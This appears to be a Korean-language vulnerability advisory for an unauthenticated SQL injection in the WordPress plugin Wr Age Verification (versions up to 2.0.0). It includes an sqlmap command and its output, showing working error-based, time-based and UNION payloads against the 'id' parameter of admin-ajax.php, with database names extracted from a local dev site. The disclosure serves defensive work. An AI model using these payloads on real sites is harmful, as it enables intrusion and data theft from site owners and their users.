
Wr Age Verification <= 2.0.0 - 인증되지 않은 SQL 인젝션
Wr Age Verification <= 2.0.0 - 인증되지 않은 SQL 인젝션
WordPress용 Wr Age Verification 플러그인은 사용자가 제공한 매개변수에 대한 이스케이프 처리 부족과 기존 SQL 쿼리에 대한 충분한 준비(preparation) 부족으로 인해 2.0.0까지의 모든 버전에서 SQL 인젝션에 취약합니다. 이로 인해 인증되지 않은 공격자가 기존 쿼리에 추가 SQL 쿼리를 덧붙여 데이터베이스에서 민감한 정보를 추출할 수 있습니다.
sqlmap.py -u "https://wp-dev.ddev.site:443/wp-admin/admin-ajax.php" --data="action=get_state&id=uk" --level 2 --risk 2 --dbms mysql -dbs -p id
POST parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 1839 HTTP(s) requests:
---
Parameter: id (POST)
Type: error-based
Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
Payload: action=get_state&id=-4023 OR 1 GROUP BY CONCAT(0x71626a7071,(SELECT (CASE WHEN (5717=5717) THEN 1 ELSE 0 END)),0x716b767071,FLOOR(RAND(0)*2)) HAVING MIN(0)#
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace
Payload: action=get_state&id=(CASE WHEN (4695=4695) THEN SLEEP(5) ELSE 4695 END)
Type: UNION query
Title: MySQL UNION query (random number) - 9 columns
Payload: action=get_state&id=-4877 UNION ALL SELECT 4325,4325,4325,4325,4325,4325,4325,4325,CONCAT(0x71626a7071,0x766a504d7043656b517443675871505768496c43747a7666764d70506d55785067764e45524f6647,0x716b767071)#
---
[11:15:23] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[11:15:23] [INFO] fetching database names
available databases [3]:
[*] db
[*] information_schema
[*] test